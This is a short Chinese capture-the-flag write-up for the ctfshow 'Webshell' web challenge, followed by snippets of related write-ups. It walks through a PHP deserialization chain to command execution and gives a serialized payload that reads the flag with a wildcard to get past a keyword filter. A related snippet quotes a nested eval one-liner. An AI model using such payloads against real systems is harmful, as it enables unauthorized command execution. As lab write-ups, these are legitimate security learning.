ctfshow菜狗杯webshell wp

启动环境

大致看一下利用顺序
反序列化传入的cmd值
调用__construct方法
调用init方法
调用exec
任意命令执行

那么构造语句如下

$poc = new Webshell();
$poc->cmd='ls';
echo serialize($poc);

先ls看看

读取就行了
注意到正则匹配过滤了flag
可以考虑模糊匹配,闭合等绕过

O:8:"Webshell":1:{s:3:"cmd";s:6:"tac f*";}

ctfshow菜狗杯webshell wp相关推荐

ctfshow 菜狗杯 taptap wp
启动环境小游戏看源码查找关键字score 解码得访问该路径,拿到flag
ctf菜狗杯OSINT wp
菜狗杯OSINTwp Fish And Turtles 由B-6448和8月27日可以查到由早上赶飞机可以得知flag ctfshow{成都-厦门-3U6953} 碧海蓝天把他放到搜狗识图![可以得 ...
ctfshow菜鸡杯部分wp
参加了ctfshow组织的菜鸡杯,自我感觉还是比较不错的,让自己学习了好多新东西.还有感谢师傅们的耐心解答.真的真的感谢. 1. misc3 这道题考察的是jsfuck编码(参考),直接将编码放入浏览 ...
CTFshow菜狗杯-misc-wp（详解脚本过程全）
首先感谢ctf平台和各位出题的大佬其次感谢各位读者,对我的支持( •̀ ω •́ )y 有什么问题和建议可以私聊我废话不多话开启你们的旅程吧这个也是我这几天才看一些见解和思路分享给你们希望你 ...
ctfshow菜狗杯webwp
web签到 <?php error_reporting(0); highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CT ...
CTFSHOW 菜狗杯--WEB
WEB签到 eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]); 简单的解释下这个嵌 ...
CTFSHOW菜狗杯 web
文章目录 web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆一言既出驷马难追 TapTapTap Webshell 化零为整无一幸免传说之下(雾) 算力超群算力升级 2 ...
ctfshow 菜狗杯杂项签到MISC1
题目链接:ctf.show 下载打开发现是一张图片扔进HEX Workshop看看
ctfshow菜狗杯 web 我的眼里只有$
萌新入坑,防懒细胞滋生题目有36个$,给出的最后一个$_可以看做变量0 生成从变量1到变量35,最后赋给变量35的值为真正想执行的命令. my_str = '_' for i in range(26 ...
ctfshow【菜狗杯】misc
文章目录 web web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆一言既出驷马难追 TapTapTap Webshell 化零为整无一幸免无一幸免_FIXED 传说之下( ...

ctfshow菜狗杯webshell wp

ctfshow菜狗杯webshell wp相关推荐

最新文章

热门文章